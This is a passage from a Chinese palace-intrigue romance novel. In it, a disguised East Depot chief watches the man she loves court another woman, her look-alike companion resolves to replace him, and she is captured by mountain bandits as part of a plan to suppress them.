看着他同样挺拔修长的背影,白惜时不知为何,突然想,解衍,又能陪伴她多长时日呢? 终究,都是要的离开的吧。 兀自低下头来,拉开那张独独只放置了一封书信的抽屉,白惜时盯着那张被她保存完好的信笺许久,继而抬起头,叫住了已经出门的男子。 树影婆娑,白惜时立于门边,几缕散落的发丝随晚风舞动。 “解衍,后天陪我去一个地方。” 她想去见见刘晚禾,默默的见一见,她还是想看看,能让魏廷川倾心的女子,会有多美好。 “好。” “不问我去什么地方,就说好?” 闻言眼底荡开清浅的笑意,“什么地方都好。” 只要是与厂督一起。 — 白惜时去见刘晚禾的地方,唤作芳澜苑。她并不欲去打扰一位闺阁女子的平静生活,不过是听说这一日京中的世家公子和贵女们会齐聚在这此,举办一场赏雪游会。 魏廷川告诉自己,刘二姑娘也邀请了他一同参加。 所以,白惜时去了芳澜苑,并没有大张旗鼓,而是换了一身普通的常服,与解衍一同坐在与那些人隔着些距离的亭榭之内,静静地观望着。 解衍亦没有问她缘由,兀自烹雪煮茶,只是过了一会见风有些大,起身回马车内取了件狐裘,披在了白惜时的身上。 继而又将一盏冒着热气的新茶,塞入了她的手中。 “春寒料峭,厂督勿忘添衣保暖。” 解衍,还是一如既往的周到。 置身于亭内,白惜时放眼望过去,一时间这么多姑娘,加之没见到魏廷川的身影,她一时竟分辨不出,哪位才是尚书府家的小姐。 其实想要弄清楚也很简单,让千闵一查便可,但她并不想动用东厂,也没有再节外生枝。 这总归,是件私事。 贸然去查,既不尊重世子,亦不尊重这位素未谋面的刘二姑娘。 因而白惜时继续选择观望,她算得上有耐心,过了约莫一炷香的时间,这时候只见一群要好的女子玩闹打趣,往他们这边渐渐行了过来。 其中两个走在最前头,于雪地里留下一个个秀气的脚印,继而不知因为何事,两人像约定好了似的飞跑起来,很快,便躲藏在了白惜时他们所在的亭榭之下。 到了地方才发现上头已经有人,两个姑娘仰望着此刻身披狐裘大氅的白惜时,瞬间一愣,继而眼中双双闪过惊艳,互相捏紧了对方的手掌。 好好看啊。 其中一个率先反应过来,突然伸出一根手指抵在唇边,冲白惜时比了一个噤声的动作。 看样子,是在躲什么人。 白惜时没有回应,亦没有出声。 没过一会,果然见另一边一个娇俏的姑娘循着脚印找了过来,一边找还一边笑嘻嘻道:“哼,我看你们两个坏丫头还想往哪里躲!” 脚步一顿,乍然一下绕了过来,那姑娘手捧两个雪球,寻见躲藏之人一人丢出去一个,三个人顿时打闹做一团,然而闹着闹着,这时候却听方才示意白惜时噤声的姑娘突然高呼了一声。 “呀,我的香囊!” 她袖中的一枚香囊,此刻因为打闹掉落在地,白惜时立于上首,被这一声亦引去了视线。 本来平淡无波的眸光掀起波澜,一瞬间,白惜时的眼睛像是被什么刺痛一般,定定望着那雪地里躺着的威风凛凛的麒麟兽,它的头上,还戴着一顶与众不同的绵羊帽子。 是她送给魏廷川那一个。 只是没想到仅过了一日,此刻,却已到了另一个姑娘的手中。 那么,这位姑娘是谁,便不言而喻了。 姑娘看上去有些懊恼,心疼地将那香囊捡起,“这是我找别人借来的,今日约好了要归还,这回都打湿了可怎么办才好呀。” 另外两个姑娘显然觉得她大惊小怪了些,“你找谁借的呀?这么精贵。” 刘晚禾却咬唇不语,一副欲语还休的模样。 “哦~~”见此情状,两人立刻猜出了对方身份,“那有什么关系,魏将军必定不会与你计较,你还借什么借呀,若是喜欢,干脆直接让他送给你得了。” “你们休要胡说!” 一杯热茶握在手中久了,不去喝,再被冷风这么一吹,终会彻底寒凉下来。 白惜时即便已经收回目光,但女子们的调笑声仍在继续,她不想听,便下意识的想要做些什么,转移些注意力。 随手将那盏冰寒凉的茶送至唇边…… 然而在凉茶即将入口之际,一只手却凭空伸了过来,夺去了她续握的茶盏。 白惜时侧眸,看向身旁的男子。 解衍目光定定,放轻了声音道:“厂督,这杯已经凉了,我再去给你换上一盏。” 女子一句“魏将军”脱口,解衍便已经直觉其中蹊跷,遂掀袍从围炉旁起身,走至了白惜时身侧。 同样的,他也看到了那枚落在雪地中的香囊。 那应该倾注了厂督不少的心血。到现在,白惜时上车前捏着香囊小心翼翼检查的模样仍历历在目。 这么不珍惜的话,不如让给他? 这是解衍在看到那枚落地的香囊时,第一时间冒出的强烈想法。 思及此又看了一眼白惜时,解衍转过身往茶盏中重新注入一杯新茶,正递给对方之际,这时候远处一片银装素裹中,传来了节奏有序的“哒哒”声,放眼望去,两匹高头大马正踏雪而来。 刘晚禾一看见为首的男子,脸上露出了女儿家的羞怯之色,继而又看见了跟在魏廷川身后的兄长,瞧见对方揶揄的笑脸,更加不好意思。 马匹行近后,两个男子一同翻身下马,魏廷川很快阔步走了过来。 “惜时!”望着亭台之上卓然而立的白色身影,他惊喜地唤了一声。 第30章 第30章 白惜时其实并不想要在这个时间这个地点,遇见魏廷川。 他原本的计划只是远远地看上一眼。 然而阴差阳错,魏廷川的一声“惜时”,将所有的人目光都吸引到了此处。 男子走过来的时候,先是停下脚步,笑与刘晚禾温声打了招呼,继而越过几人,便朝白惜时这边快步行了上来。 跟随着魏廷川的脚步,刘晚禾也再次抬头,望向亭台之上那个阴柔冷傲的男子,原来,魏将军竟与此人如此相熟吗? 他会是谁呢? 瞧他周身气度,虽只是静立亭台,一言未发,却自带一种上位者的姿态,实在不像是个等闲之辈,这样的一个人应该是让人过目不忘的,可之前在的筵席或游会上,她们从没有见过这样的人物。 不过,那男子身边的解公子,她倒是曾经见过,可解衍不是…… 正当刘晚禾纳然不解时,兄长一句“厂督”,立时为所有人解开了疑惑。 东厂厂督,白惜时? 是了,她还派人给他去送过信,怎么就忘了。 刘晚禾因之前便知晓魏廷川与白惜时交好,此刻倒没什么异样,但方才还在偷偷打量白惜时与解衍的另外两位姑娘,一听“厂督”二字,顿时吓得脸色煞白,慌忙移开视线不敢再看。 东厂,那得多吓人啊! 明白自己的身份一旦表明,多少有点煞风景,白惜时冲底下的刘公子微一颔首,才看向此刻已经走上亭台之人。 “惜时,怎么要来也不同我说一声。” 男子随手将挡风的鹤氅解下,能在此处见到白惜时,魏廷川显得很高兴,继而又侧眸看了眼他的身后,“围炉煮茶?好兴致,正好口渴,试试你的手艺。” 说着便将鹤氅交到白惜时的手中,魏廷川走了过去,兀自斟了一杯饮下,“嗯,手艺不错。” 白惜时顿了一会,似是已经预料到接下来的风波,“……我没有烹茶的本事,这茶不是我煮的。” “那是谁?” 仍然没有立即接话,停了半刻,白惜时才侧首,看了身后的男子一眼,“解衍。” 解衍? 闻言微偏过头,魏廷川这时才正式看向立于白惜时后方的男子,然而仅一眼,便停在了当场。 解衍此刻也同样注视着魏廷川。 一时之间,两个男子谁都没有说话,也没有与对方打招呼。 恰在此时,刘启舟也领着妹妹跟了上来,瞧见眼前的情状,目光在二人之间一扫,立刻爽朗地笑了起来。 “你们是不是也惊着了?其实我之前就发觉了,魏将军与解公子二人长的很像。” 只不过气质不尽相同,一个英挺高彻,一个姿容如玉。 闻言收回目光,随之又往白惜时的方向瞥了一眼,魏廷川很快也笑了起来,“确实很像,连同我年少时的装束都如出一辙。” 说罢伸出手,魏廷川大方道:“解公子,幸会。” 魏廷川的那一瞥,犹如让白惜时无处遁形,她明白那一眼里,魏廷川已经知道解衍的这身装束出自自己的手笔。 他像是一个兄长看着幼稚又敬仰他的弟弟,有些无可奈何,又有些忍俊不禁。 兄长不在家,就寻了一个和兄长相似的? 然而相比于面对魏廷川,白惜时更不想要面对的,是此刻的解衍。 她今日还是不该贸然前来,更不应该带上解衍。 因为此时此刻,她无意之中将解衍置于了一个无比尴尬的境地。 解衍也曾是天之骄子,亦是个聪明之人,他现在,会怎么想? 白惜时没有回头去看男子,然而很快,解衍的声线已经稳稳传来,“魏将军,幸会。” 紧接着男子越过白惜时,同样伸出了手,与对面之人握在了一起。 矜冷持重,察觉不到一丝一毫的异样。 白惜时微微蹙眉,这时候解衍也同时侧眸,恰发现白惜时正看着自己,一垂目,又觑了眼他仍拿在手中的鹤氅,继而长臂一展,向白惜时伸了过来。 什么意思,不言而喻。 东厂厂督,怎可替他人拿衣? 白惜时见状,没有过多迟疑,将魏廷川的那件鹤氅递了过去。 世子已经有了刘姑娘,确实由她拿着不再合适。 只不过解衍这边尚没拿稳,那边刘启舟俨然已经将魏廷川当作一家人,大手一挥,召来随侍,“哎,不需要厂督与解公子亲自来,交给伺候的下人们便好了。” 因而一件衣裳转手三次,最后停留在了刘启舟的贴身小厮手中。 期间魏廷川并没有表示什么异议,只是在小厮殷勤接过后,目光微动,于那件鹤氅上停留了片刻。 亭内几人,似乎各有各自的心思。 刘晚禾手中还捏着那枚弄脏的香囊,此刻见魏廷川站在面前,迈步走了过去,露出些愧疚之色。 魏廷川很快看向她,“刘姑娘,怎么了?” 刘晚禾摊开掌心,将拿枚小麒麟露了出来,面上带着歉意,“将军,对不起,昨日同你借来的香囊被我不小心掉落雪水里,打湿了。” “没关系。” 见男子似乎并没有责怪自己的意思,刘晚禾松了口气,继而心念一转,眼睛又亮了起来,“将军,既然这个湿了,要不我重新给你做一个吧?就当是赔礼,这上面的图样我已经学会,应当能做个一模一样的。” 听到这,魏廷川突然朝白惜时的方向看了一眼,“不用那么麻烦,我拿回去洗洗即可。” 说罢,便将香囊从刘晚禾的手中取了回来。 刘晚禾:“真的对不起,我不是故意的。” “我说了没有怪你。” 看着女子如此羞愧的模样,魏廷川不由自主也放柔了语调,“再说为了这些小事,我怎么可能怪你?你遇事不要想太多,不管是什么事,我都不会怪你。” “嗯。” 白惜时听见女子羞涩又甜蜜地应了一声。 真好啊。 不知不觉,此刻已经快到晌午,雪霁天晴,冰雪消融,当初春的阳光破开云层毫不吝啬的洒向大地,所有人似乎都被沐浴在一片温暖里。 只不过,白惜时选择的地方不太好,因有亭檐的遮挡,很不幸的没有被这片温暖光顾,仍停留在一片冷冰冰的阴影里。 索性,她身上还有一件供人取暖的狐裘,也并不是形单影只,身后还有一个同样与她站在阴影当中的人。 而到时候为了感谢这个人的善意和陪伴,白惜时想,她会尽力,尽力将他也重新送回阳光里。 就像眼前的每一位男男女女一样,拥有家世,拥有爱人,拥有一个幸福完整的人生。 成全别人,放过自己。 白惜时不是一个喜欢陷于愁绪当中的人,青年男女之间的聚会不适合她,她也本就不欲久留,因而到了此刻,她便让解衍去收拾茶盏,自己也抬手与亭内的几位告辞。 “咱家下午还有公务在身,不打扰各位游玩雅兴,诸位尽兴。” 言罢,白惜时便抬步离开,却不想魏廷川伸出手臂,直接将她拦了下来。 “这么快就要走?既然来了,便吃了午饭再回去。” 他用的不是商量的语气,而是直接替白惜时做了决定。 “世子,确有急事。”她语调不高,却隐隐含着不容置疑。 似乎是直到这个时候,魏廷川才意识到白惜时是真真正正长大了,他不再是那个永远仰望着自己的小太监,他可以独当一面。 他是东厂厂督。 闻言皱了下眉,男子又看了眼不远处,“那你等着,正好我来的时候看见附近有卖甜点的铺子,你这一路回去也得大半个时辰,正好带着路上也可垫垫肚子。” “你要吃什么,梅花糕还是红豆酥?” 魏廷川记得,白惜时在宫中的时候,很喜欢吃他带的糕点。 刘启舟这时候在旁边凑热闹,“厂督,您瞧瞧,怪不得他说你是他最好的兄弟,我都不知道廷川还有这么细心的一面。看来以后将二妹妹嫁给他,我也该放心了。” “兄长~”刘晚禾闻言,有些羞愤地扯了下兄长的胳膊。 魏廷川听了倒不否认,“我和惜时确实是过命的交情,当年在军营受重伤,多亏他在一旁看护,不然我未必能活到今日。” 说着便又笑看向白惜时,“想好了没有?” “刘姑娘有没有喜欢的?我一起去买。” “不了,世子。”白惜时仍旧拒绝。 “为什么?” “我已经很久不吃甜食了。” 自魏廷川被从宫廷抓走充军的那一日,她恰好吃了一碗甜汤,以后,便没有再主动去碰过这个味道。 越甜,反而越觉得苦涩难咽。 魏廷川:“怎么口味突然就变了?” 闻言一摇头,白惜时于阴影之中淡淡扬起唇角,“谁知道呢。” — 回程的马车中,白惜时与解衍静坐其中,很长一段时间谁都没有开口说话。 最后,还是白惜时率先开口,看了眼此刻不知在想什么的解衍,“明日我让人给你重新做几身衣衫。” 解衍闻言,漆黑的眸子缓然望了过来,“为何?” 为何! 白惜时只看着他不说话,解衍何其聪明,她不相信男子听不懂她话中的含义,何况,方才那种尴尬的境地,男子也切身实地的经历了一遍。 她一直在让解衍模仿魏廷川,模仿他的装束,模仿他的武功身手,偶尔太过想念时,也会将他当成魏廷川一般欣赏。 如今一切都被被拆穿,她相信,解衍眼下已经全都明白了。 白惜时意识到这样不对,也不能再一直继续下去。 所以,她提出给他换衣服,尊重他的选择。 然而解衍却似乎不以为意,甚至露出一副不解的神情,在与白惜时长久的对视之后,嘴角才噙起一抹意味不明的笑意,“我觉得现在这样就很好,厂督选的每一件衣衫,属下都很喜欢。” 说罢男子又低头看了一眼身上的衣饰,在白惜时看不到的地方,才隐约闪过一瞬近乎阴郁的光,继而抬起头,又是那副朗月清风的模样。 “穿起来,也颇为合适。厂督实在,无需费神更换。” 30-40 第31章 第31章 自晌午回到东厂之后便开始忙碌,直到深夜,解衍与白惜时才一起回到了府宅之内。 期间,男子言行如常,知他不想提及魏廷川之事,白惜时亦没有强人所难。 月洞门外,目送厂督进了主屋的院子,解衍支走亦步亦趋跟于身后的家厮,继而熄灭手中的灯笼,置身于一片静谧黑暗之中,抬手,挡住了那一轮刚刚从层云中冒头的月光。 长舒一口气,男子闭上眼,近乎享受着这被暗夜包围的感觉。 不知过了多久,他才缓然睁开漆黑的眸,当天边的最后一缕清辉再次被乌云遮挡,男子的眼底也越发幽暗起来。 解衍抬步,回到了自己的院落。 迈进房间,走至桌边,他点燃了一支烛台,继而第一件事,便是去找他前夜尚未完成的那件木雕。 锋利的刻刀一下一下划过木头,留下深深浅浅的印记,却也能够抚平他今日强行压制下去的起伏。 一件木雕终于完成,解衍吹去浮沫,将它拿在手中对着烛光,欣赏着那一只栩栩如生的小麒麟,半晌之后,扬起了唇角。 拂了拂身上的衣袍,他举着烛台,起身走至铜镜之前,继而将那只小麒麟置于自己的香囊上,遮住了原有的山羊图案,男子望着镜中的自己,满意的将那只香囊摆正。 他这人,做事就喜欢做到极致。 读书要读到最用功,练武也要日日磨练,既然是当替身,那便也要像个样子——替代到底。 魏将军不知珍惜厂督心血,那就正好给他机会,尽力而为。 取魏廷川而代之。 — 白惜时近来尤为忙碌,也刻意想要变得忙碌一些,因为一忙碌,许多不该想的事情便也无暇顾及。因而当听闻冀中匪患猖獗,她立即请缨,向皇帝禀明愿带领东厂前往剿匪。 前往冀中一来一回至少也要大半个月,等再回到京中之时,魏廷川订婚之事应该也筹备的差不多。 诚然,白惜时一再告诫自己要接受释然,替魏廷川高兴,但当有离京的机会出现,她还是毫不犹豫选择了离开。 她想借此短暂的逃避一段时日,也给自己片刻喘息的机会。 只是没想到,这次出任务,皇帝会让锦衣卫与东厂同行。 不知是这群山匪比自己想象的还要难以对付,还是皇帝存了叫他们互相监督之意,毕竟在外人看来,东厂与锦衣卫,仍旧不合。 出发的当日,一行人分为两批,白惜时、解衍、滕烈等人着便服,先行前往冀中摸清地形,了解形势,元盛、冯有程则稍后,带领大部队等待消息进行包抄和集中剿灭。 出发的时候,千闵煞有介事,在蒋寅耳边提醒了一句,“厂督近来颇为严格,告诉你那帮锦衣卫兄弟们说话行动都注意点。” 蒋寅侧头,“怎么回事?” 千闵,“我也不知,不过厂督不是迁怒之人,反正只要把差事办好,应该就出不了错。” 蒋寅闻言点了点头,步伐一转,回去就将此事告诉了指挥使。 颇为严格? 滕烈掀开车帘,看了一眼正在同步行进的马车,男子眉心微蹙,指尖在身前的案几上一下一下地敲击着,若有所思。 白惜时一路上都在处置公务案册,除了话比平常要少些,于旁人看来其实并没有什么不同。 但案册总有处理完的时候,路程之中又难免枯燥乏味,因而后半段便有了大把时间供白惜时走神发呆。 一走神,便又会想起一些不该去想之事,白惜时烦闷之余,想要找点事做打发时间。 当天傍晚,在众人用饭的集镇上,白惜时于街角找到了一间小书摊上,并在老板热情的推荐下买了两本闲书,翻开一读倒是有些趣味,至少,能让她不要一直陷于那种莫名失落的情绪之中。 因而白惜时开始看书。 起先厂督看书众人也没有察觉什么异常,直到蒋寅看见那书皮封面明目张胆的两四个大字,瞳孔一震,犹豫再三,还是试探着问道:“厂督,这书买来可是为了咱们到时候乔装改扮,混淆那些山匪视听?” 白惜时闻言,莫名其妙看了蒋寅一眼,“不是。” “……” 那就是单纯的喜欢看了! 蒋寅的表情瞬间有些崩坏,一时不知如何看待,百思不得其解之际,只能寻求共鸣转头去瞧指挥使,果然滕烈此刻的脸色也不大好,一双漆眸定格在白惜时手指捏着的书册之上——《我与寡嫂》。 片刻之后男子移开视线,冷冽的神色之中隐含着些复杂,继而侧头闭了闭眼,当作什么都没看见。 这个时候解衍安排妥当当晚的食宿,亦从客栈之内走了出来,发现厂督正于马车旁看书,不欲打扰,于是走至他的身侧,同样望向页面上的文字。 望得久了,白惜时自有察觉,其实滕烈、蒋寅的反应她亦有所感知,只不过我行我素惯了,不予理会。 锦衣卫管天管地,也管不到她爱看什么样内容的书。 猜测解衍这种正经读惯了四书五经的,亦会对她看这样的杂书颇有微词,因而白惜时转过头去看他之时,语气也算不得好。 “怎么了?” “没有。” 解衍却一摇头,继而神情专注望着书中的文字,与她一起探讨起其中情节,“属下只是觉得与那位过世的兄长相比,他的嫂子确实与这位书生更为合适。” “唔~” 解衍的回答倒是有些出乎意料,白惜时思考片刻,认同地点了点头,“就是这书生太过急于求成,忘了欲速则不达的道理。” 解衍闻言笑了起来,“对,欲速则不达。” …… 原本只是厂督一人看书,尚且没有那么引人注意,现下好了,两个姿容出众的男子一起,对着一本《我与寡嫂》认真研读,想要不那么惹人侧目都很困难。 蒋寅活像是见了鬼,瞧见千闵面色如常路过,忍不住叫住他,“你们东厂上位手段如今已经这般刁钻了吗?还要陪厂督一同看这种奇书探讨个中情节?” 千闵,“……也没有这种硬性要求。” “那探花郎为什么看?” 千闵一副见怪不怪的表情,“厂督干什么他都捧场。” “那你岂不是要被他比下去了?你别忘了,你才是厂督的心腹。” “那我能怎么办?这种背德的书我是真看不下去啊!” 千闵家上头有两个兄长,也都娶了亲,这种书叫他,叫他如何入眼? 蒋寅带入自己,慨然一叹:“……也是。” 到了晚间用饭的时间,客栈内人流不少,白惜时起先仍在垂目看书,直到饭菜都上齐,他才将那本《我与寡嫂》合起,随手放在桌面之上。 然而刚端起碗筷吃了两口,却察觉坐在自己左侧之人,不动声色出手,将她那本起初封面朝上的书,翻了个面,继而遮挡住了上头的书名。 滕烈此番动作极其自然,甚至选择在白惜时伸手夹菜的时候进行,显然,并不想引起他的注意。 但白惜时还是注意到了。 她不仅注意到了,还停下动作,看向滕烈。 白惜时本来就觉得不大理解,此间客栈不大,只有四方形的四人桌,本来她、解衍、千闵坐起来宽宽敞敞,滕烈、蒋寅分明可以带着锦衣卫另开一桌。 但这两个人就这么自然而然地走至桌边,叫小二加了个凳子,坐了下来。 坐下来便也罢了,既然说好了合作,她也不至于赶客。 但干涉她,便不行。 其实滕烈此番动作可大可小,平常白惜时很可能一笑了之,但极不凑巧,正好她近来心绪不佳,颇为喜欢较真。 将筷子扣回碗沿之上,白惜时面露不愉,“指挥使若是觉得看不惯,大可以换一张桌子,不用委屈和咱家坐在一起。” 滕烈继续吃饭,当作没听见白惜时说话。 见男子不理不睬,白惜时更为不悦,加重了语调,“滕烈。” 直至此刻,男子才像是有了反应,抬手将筷子搁于一旁,坐于桌前滞了片刻,正当白惜时以为他要离席而走之时,滕烈目不斜视,伸手又将书本给她翻了过来。 正面朝上。 白惜时:“……” 他什么意思? 白惜时盯着滕烈,觉得这个人实在奇怪的很。 盯得久了,滕烈吃饭的动作也越来越慢,最后终是侧眸,与白惜时对视了一眼,继而喉咙不适般的清了下嗓音,他微抬下巴,示意了眼对方尚未动过两口的饭碗。 “书给你还原过来了,吃饭。” 第32章 第32章 一行人在即将达冀中之际,立即开始打听匪患情况。据当地人所说,此批山匪极为蛮横凶残,烧杀抢掠无恶不作,连官府都束手无策。 而他们平时生活在祝济山中,为首的大当家名唤“飞鹰”,听闻曾经还在军中当过差,后来犯了事,才干脆落草为寇。 而这个“飞鹰”有三大爱好,一为酷爱吃猪肉韭菜馅的饺子,二为劫掠途经冀中的富家子弟,以此向其家中勒索巨额钱财,三为取悦讨好他那位去年才强抢进门的压寨夫人。 说到这里,那路人又打量了眼面前几人,直摆手道:“所以几位还是快些离开吧,那飞鹰每隔段时日便会下山来劫掠一番,几位太过扎眼,若是碰到,必定逃不过祸患。” 闻言又仔细询问了一些个中细节,待谢过路人,白惜时凝眉,继而与解衍、滕烈几人对视一眼,富家子弟…… 他们几个应当正好合适。 此番铲匪平患,白惜时本就不欲大张旗鼓,如此东厂与锦衣卫也会有所折损,若是可以浑水摸鱼潜入匪寨大营,摸清楚情况,继而擒贼先擒王,亦可避免不少气力和死伤。 几人商议之下做好决断,千闵、蒋寅隐于暗处留守接应后续人马,解衍携令赴冀中府衙,随时做好通知主政官员补给增援的准备。白惜时、滕烈则扮做途经的富家子弟,静待山匪劫掠。 期间解衍坚持与白惜时同行进山,但三人太过惹眼,且白惜时也想将联络府衙的任务交给他。 既然心中已做好决断让解衍重回朝堂,那么现在的每一步,都是助他积累人脉。 冀中山匪能做到这般为祸一方,为首的自然不会是傻子,白惜时亦没有轻敌,她与滕烈皆身手尚佳,且手指上也都练武留下的薄茧,若是装作手无缚鸡之力的富贵子弟很可能被拆穿。 因而当天中午入住冀中客栈的时候,两人手中均握着佩剑,扮做云游历练的武林人士,一副并不惧怕区区山匪的桀骜模样。 但白惜时想过山匪会来,却没想到,会来的如此之快。 时至半夜,白惜时正于客栈之中和衣浅眠,这个时候忽然窗棱隐隐晃动,她警觉地睁开眼,没过多久,嚣张的打马驰骋之声呼啸而过,继而底下传来“轰隆”一声巨响,很显然,客栈的门被人合力踹开了。 这间冀中最大的一件间客栈,眼下看来,应是有山匪内应潜藏其中,而他们此番,十之八。九正是冲着白惜时一行人而来。 果不其然,大门被撞开之后,“咯吱咯吱”的木梯踩踏声发出刺耳的鸣叫,呼喝直奔二人所在的方向,白惜时此刻掀被起身,握起床边的佩剑,单手一用力,推开了房门。 滕烈亦在差不多的时候踏了出来。 激烈的打斗持续了约大半刻的时间,最后……白惜时、滕烈按照最初的计划相继被夺去武器,钳制住了双臂不得动弹,继而粗暴的被推出了客栈之外。 两盏牛头大的灯笼发出近乎晃眼的光,白惜时在昏暗的地方待久了,一时有些不适应,等她闭了闭再次睁开眼来,只见领头的是个满脸横肉之人。 那人五大三粗、趾高气扬,明显对白惜时、滕烈极为看不上眼,“老子当是多大能耐的高手,原来是两个只会胡咧咧的假把式!妈的,最烦看到这种装蛋的小白脸,全都给我捆好了,一起带走!” 话音一落,白惜时、滕烈被人捆绑住先后塞进一辆破旧的牛蓬车,一声粗犷的呼喝声后,轱辘缓缓向前滚动,白惜时与滕烈对视一眼,挪蹭着坐了起来,透过裂了条缝的油布蓬向外望去,应该是朝祝济山的方向行去。 而千闵、蒋寅,此刻应该正悄无声息的跟在队伍之后。 第一步,尚且算是顺利。 缓缓舒了口气,白惜时本想借机再观察沿途地形,但眼下天色太黑,什么也看不真切。 索性什么都做不了,白惜时简单与滕烈交待了句,改为窝到了一块犄角旮旯处闭目养神。 待进了山中还不知会遇到怎样的情况,眼下不如养精蓄锐。 上山之路极不平坦,牛车颠簸摇晃,加之不停有寒风从那裂开的大口子呼呼的往里灌,坐久了,白惜时不由自主蹙起了眉。 有些冷,她后悔没有多穿一点。 但她仍旧没有睁开眼睛,这些都是意料之中,忍忍便也就过去了。 不过片刻之后,白惜时不知是不是自己的错觉,竟觉得那风似乎小下来许多,直到身上也渐渐集聚了些暖和之气,她才察觉不对,重新睁眼看向前方。 这一看,倒是怔愣了下。 这时候只见冷肃的男子正闭目锁眉、双臂环胸,斜靠于那有裂缝的篷布旁,将风口七七八八遮挡住了大半。 没想到滕烈竟然也有会体谅人的一面。 知道大半夜吹风的滋味必定不好受,白惜时没有只顾全自己让他人受罪的习惯,因而开口对着男子道:“我没睡着,不会着凉,你的好意我心领了。” 滕烈闻言,睫羽颤动,隔了片刻才睁开眼,然而这一睁开眼,似乎也同步打消了白惜时还可以与他推心置腹聊两句的意愿。 男子一双冷淡的眸子望过来,面无表情,仿佛根本没听懂白惜时方才的话是什么意思。 白惜时:“……挡在风口,你不冷?” 滕烈,“不冷。” 一副他就爱吹风,吹风能使他睡意更浓的模样。 “……那你继续吹着吧。” 没法沟通,他没长嘴。 约莫大半个时辰后,行进的队伍终于在一处地势稍平的地界边停了下来,白惜时被人粗暴的一把拉下车,站在午夜微凉的风中,他看着面前一间简陋的柴房。 一个粗壮的汉子将二人带进了进去,即使已经做足了心理准备,但当他看见狭窄的空间内犹如圈养牲口般的邋遢脏乱时,还是忍不住暗暗叹了口气。 很显然这里也曾经住过被绑之人,但等那些人或被杀或被赎走后,并不会有人花功夫打扫这里。 在把白惜时、滕烈扔进来之后,汉子便嫌恶的躲了出去,继而从外头将柴房的门上了锁。 看来到了后半夜土匪也需要休息,今夜倒是可以消停一会了。 精神随之松懈下来,借着从门缝中透出来的微弱亮光,白惜时于柴房内捡了块稍微干净点的空地,缓缓坐了下来,这里是无法睡了,姑且凑合一晚吧。 滕烈这时候也同样走了过来,男子没有讲究,亦于白惜时身旁席地而坐。 白惜时对照先前打探来的消息,思索了一会,“听说飞鹰强抢来的那位夫人曾有过夫君,我们或可从她入手,所以明日,我想要争取见她一面。” 滕烈:“厂督已经有办法?” “嗯,只是不知那位夫人的态度。” 毕竟已经与飞鹰相处了一年有余,听说他对这位夫人又极其宠爱,白惜时不确定那位女子会不会因此被飞鹰打动。 似乎听出了语气中的迟疑,滕烈:“厂督既想好了,便大胆去做。” 白惜时:“若是不成呢?” 总要提前设想好各种可能,做出万全准备。 没想到男子听到这却低声一笑,“不成自有不成的办法,最坏,不过再一起杀出去。” 他倒挺豪迈看得开,被滕烈的情绪这么一带动,不得不承认,白惜时也放下了不少顾虑。 又放眼瞧了瞧当下两人的境况,白惜时认真回忆了回忆,“不过你我二人碰在一起,好像境况总是会比较棘手。” “啧,是不是八字不合?” 滕烈:“厂督可以将生辰八字给我,回去我找人算算。” 这人也有会开玩笑的时候? 白惜时稍稍后仰,靠在了墙壁之上,“应该是不合,毕竟喜好习惯也南辕北辙。” 他第一次看见她看寡嫂的时候,白惜时觉得滕烈整个人都跟被雷劈了似的。 然而滕烈却道:“未必。” 白惜时:“你对算命这方面还有研究?” “没研究。” “没研究怎知未必?” “猜的。” “……” 白惜时有点开始怀念解衍和千闵了,哪怕是蒋寅也行,跟滕烈这种惜字如金的比起来,那几个可爱多了。 怅然慨叹一声,白惜时:“休息一会吧,明早恐怕还有不少麻烦要应付。” 闻言低低“嗯”了一声,待身侧之人的呼吸变得平复均匀,片刻之后,男子才侧过头又看了看白惜时,即使其实眼下黑的要命,并不能看清身侧之人的五官,但他还是看了看,继而靠坐于墙壁之前,同样闭上了眼。 …… 朦朦胧胧之中竟浅浅睡了过去,白惜时翌日被一阵公鸡打鸣之声吵醒,这才发现熹微的晨光已经透过门缝照耀了进来。 而滕烈不知是一夜没睡,还是醒的要比她早些,此刻正从被锁住的木门边走了回来。 “有人来了。” 话音落地不久,门外便传来一阵“悉悉索索”的开门之声,紧接着昨夜那个粗壮的汉子再次走了进来,眼睛往里头的二人一瞟,“你们两个,跟我走!” — 白惜时与滕烈绕过一片山路,被带到了一间明显宽敞明亮许多的厅堂之内,里头空间很大,目测能容纳上百号人。 眼下四周已经站满凶神恶煞、形色各异的土匪,一个个正目光不善地打量着白惜时与滕烈。 而上首的位置此刻摆着三把高椅,右侧的白惜时见过,正是昨夜那个满脸横肉的男子,左侧的则是个四十岁左右风韵尚佳的女子,上山前便听说这山寨中的二当家是位女子,看来传言非虚。 正当中的,自然就是传说中的飞鹰。 此人身高体壮、虎目虬髯,虽算不得多出众的长相,但胜在威武高大。 三人之中,却是那二当家的最先开了口,“老三,还是你知道心疼姑奶奶,昨夜竟给我弄来这么两个没见过的好货色。要我说,大当家的不如将这两个人送给我,还往他们家中送什么信?伺候好姑奶奶才是要紧!” 此言一出,整个场子内顿时哄堂大笑,一时间土匪们的起哄荤话不绝于耳。 然而那老三听完却不屑的“呸”了一声,“咱们寨中随便挑挑拣拣,哪个不比这两个小白脸中用?二娘你为什么就喜欢这么些个油头粉面的玩意?” 二娘:“你懂个屁,就你们那满身臭汗十天半个月都洗不上一回澡的人,怎么和人家比?” 老三闻言,面庞顿时憋成了猪肝色。 这三当家的对那二娘……似乎并不那么简单,这是白惜时的直观感受,也怪不得从昨夜就开始那人就看自己与滕烈不顺眼。 应当是已经预料到了会有今日这般结果。 不过白惜时千算万算,实在没算到她和滕烈进了山匪群后不是被威逼恐吓、拷问斥打,而是被……当众调戏? 这种感觉对于白惜时来说还算新奇,也并不算在意,她本来就不是男子,身份还是个太监,平时里就算姑娘家家的大胆想调戏也不会调戏到她头上。 不过……白惜时不在意不代表滕烈也不在意,此刻,身侧之人的情况就似乎十分不好。 忍不住扭过头去望了一眼,果然,滕烈那脸黑的都能当煤炭直接扔进炉膛里烧火了。 憋着股气音,白惜时趁土匪们再次起哄的时候,低声劝道:“小不忍则乱大谋。” 平心而论,滕烈生的高挺冷峻,其实和小白脸不太能沾上边,更不是油头粉面的类型,但难挡情敌见面分外眼红,所以被三当家的这么诋毁两句,也是情有可原。 因而白惜时又跟着补充了一句,“他纯粹是嫉妒你。” 嫉妒你比他招二当家的喜欢! 然而白惜时不劝还好,一劝滕烈脸色反而更加难看,手背之上的青筋一瞬间都凸显了出来,隔了好半天,才见男子近乎困难的松开了崩直的唇线,长长吐出口浊气。 气性还挺大的。 